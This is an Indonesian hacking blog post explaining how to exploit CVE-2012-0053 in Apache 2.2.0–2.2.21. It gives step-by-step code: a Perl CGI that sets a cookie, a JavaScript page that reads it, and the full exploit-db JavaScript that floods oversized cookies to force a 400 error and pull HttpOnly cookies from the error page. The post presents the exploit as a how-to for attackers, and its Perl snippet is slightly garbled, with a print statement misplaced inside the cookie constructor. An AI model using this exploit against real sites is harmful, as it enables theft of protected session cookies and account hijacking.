• Beranda
  • Autosultan
  • Bitcoin
  • Dollar
  • Linux
  • LOKER
  • Printer
  • Sofware
  • sosial
  • TISniper
  • Virus
  • Windows

T.I Sniper

#Expert Advisor for MetaTrader 4 #Expert Advisor for MetaTrader 5 #youtube #google #free dollar business every day #Lowongan #Pekerjaan #Loker #forex #trading Autopilot #mining crypto #Update #Tutorial #Komputer Perbaikan, #Email #Facebook , #whatsapp ,#instagram #telegram ,#Internet ,#Motivasi , #Crypto , #AirDrop, #Bitcoin, #Ethereum, #Binance coin, #Cardano, #Degocoin, #Litecoin #Indodax, #Coinbase, #Nexo Dan Mata Uang Digital Lain , #Website, Perbaikan #Server #Domain , #Hosting, #Whm

    • Beranda
    • Contact Forum
    • Coffee JKs88
    • Tentang Kami
    • Parse Code Html
    • Text Terbalik
    • Privacy Policy

    Ikuti Kami!

    Follow Akun Instagram Kami Dapatkan Notifikasi Terbaru!
    Ikuti Kami di Facebok! Untuk mendapatkan notifikasi terbaru.

    Postingan Populer

    Backlink dengan Google Dork Seo

    Dork Seo
    Januari 01, 2016
    0

    Cara Dapat Backlink dengan Google Dork

    Dork Seo
    Februari 13, 2016
    0

    Download File ISO Windows 11 Dan Bootable USB Rufus

    Sofware Windows
    Desember 02, 2021
    0

    Cara Dapat Backlink Edu Gratis

    Seo
    Februari 13, 2016
    0

    SBS opening Fix Autosultan

    Autosultan zonamotivasi
    Januari 25, 2022
    0
    Author
    chmood
    Tautan disalin ke papan klip!
    Share Posts "Cara Exploit Apache HTTPOnly Cookie"
  • Salin link
  • Simpan Ke Daftar Bacaan
  • Bagikan ke Facebook
  • Bagikan ke Twitter
  • Bagikan ke Pinterest
  • Bagikan ke Telegram
  • Bagikan ke Whatsapp
  • Bagikan ke Tumblr
  • Bagikan ke Line
  • Bagikan ke Email
  • HomeHackingVulnwebsiteCara Exploit Apache HTTPOnly Cookie
    Cara Exploit Apache HTTPOnly Cookie

    Cara Exploit Apache HTTPOnly Cookie

    Simpan Postingan

    Pada Apache versi 2.20 sampai versi 2.2.21 terdapat kelemahan (vulnerable) sehingga attacker dapat melakukan exploit dengan cara mencuri cookie.
    Info lengkap ada di :  http://www.securityfocus.com/bid/51706/discuss
    “Apache HTTP Server is prone to an information-disclosure vulnerability. The issue occurs in the default error response for status code 400.
    Successful exploits will allow attackers to obtain sensitive information that may aid in further attacks.
    The vulnerability affects Apache HTTP Server versions 2.2.0 through 2.2.21.”


    Berikut akan didemokan cara exploit melalui kelemahan apache tersebut
    Langkah 1
    Buat file perl dan letakkan di folder cgi-bin (di ubuntu: /usr/lib/cgi-bin):

    #!/usr/bin/perl
    use CGI;
    use CGI::Cookie;
    my $cgi = new CGI;
    my $cookie = CGI::Cookie->new(-name=>'CVE20120053',
    -value => 'testcookie', -expires => '+3M', -domain => 'localhost',
    print $cgi->header(-cookie=>$cookie);
    -path => '/', -secure => 0, -httponly => 0
    );
    Langkah 2
    Buat file html untuk membaca cookie:
    <html>
    <body>
    <script>
    alert(document.cookie);
    </script> </body>
    </html>
    Langkah 3
    Buka browser dan ketikkan url: http://localhost/cgi-bin/setcookie
    1 Cara Exploit Apache HTTPOnly Cookie
    Kita berhasil membuat cookie
    Langkah 4
    Buka browser dan ketikkan url: http://localhost/httponly/readcookie.html
    2 Cara Exploit Apache HTTPOnly Cookie
    
    
    Kita berhasil untuk membaca cookie dengan meng-injectkan javascript
    Langkah 5
    Edit file setcookie di cgi-bin folder dan set httponly ke 1
    -httponly => 0
    ganti nilainya dengan angka 1
    -httponly => 1
    Langkah 6
    Buka browser lagi dan ketikkan url: http://localhost/httponly/readcookie.html
    3 Cara Exploit Apache HTTPOnly Cookie
    
    
    Kita gagal melakukan injeksi karena httponly-nya di enable.
    Sebagaimana prolog diatas, kita akan melakukan injeksi cookie walaupun httponly-nya di enable
    Langkah 7
    Buat file injeksi dari http://www.exploit-db.com/exploits/18442/ sebagai berikut:
    // Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08
    // Most browsers limit cookies to 4k characters, so we need multiple
    function setCookies (good) {
        // Construct string for cookie value
        var str = "";
        for (var i=0; i< 819; i++) {
            str += "x";
        }
        // Set cookies
        for (i = 0; i < 10; i++) {
            // Expire evil cookie
            if (good) {
                var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
            }
            // Set evil cookie
            else {
                var cookie = "xss"+i+"="+str+";path=/";
            }
            document.cookie = cookie;
        }
    }
    
    
    function makeRequest() {
        setCookies();
    
    
        function parseCookies () {
            var cookie_dict = {};
            // Only react on 400 status
            if (xhr.readyState === 4 && xhr.status === 400) {
                // Replace newlines and match <pre> content
                var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
                if (content.length) {
                    // Remove Cookie: prefix
                    content = content[1].replace("Cookie: ", "");
                    var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
                    // Add cookies to object
                    for (var i=0; i<cookies.length; i++) {
                        var s_c = cookies[i].split('=',2);
                        cookie_dict[s_c[0]] = s_c[1];
                    }
                }
                // Unset malicious cookies
                setCookies(true);
                alert(JSON.stringify(cookie_dict));
            }
        }
        // Make XHR request
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = parseCookies;
        xhr.open("GET", "/", true);
        xhr.send(null);
    }
    
    
    makeRequest();
    Langkah 8
    Buka browser dan ketikkan url: http://localhost/httponly/readcookie2.html
    4 Cara Exploit Apache HTTPOnly Cookie
    Bingo! Kita dapat melakukan injeksi dengan memanfaatkan kelemahan pada Apache.





    Sekian Family T.I Sniper 

    Hacking Vuln website
    September 15, 2015 • 0 komentar
    Disclaimer: gambar, artikel ataupun video yang ada di web ini terkadang berasal dari berbagai sumber media lain. Hak Cipta sepenuhnya dipegang oleh sumber tersebut. Jika ada masalah terkait hal ini, Anda dapat menghubungi kami di halaman ini.
    Isi dari komentar adalah tanggung jawab dari pengirim. T.I Sniper mempunyai hak untuk tidak memperlihatkan komentar yang tidak etis atau kasar. Jika ada komentar yang melanggar aturan ini, tolong dilaporkan.

    T.I Sniper

    Your description here

    • Follow
    • Autosultan
    • Wa Admin Bisnis
    Copyright ©2010 - 2022 🔥 T.I Sniper.
    • Beranda
    • Cari
    • Posting
    • Trending
    • Tersimpan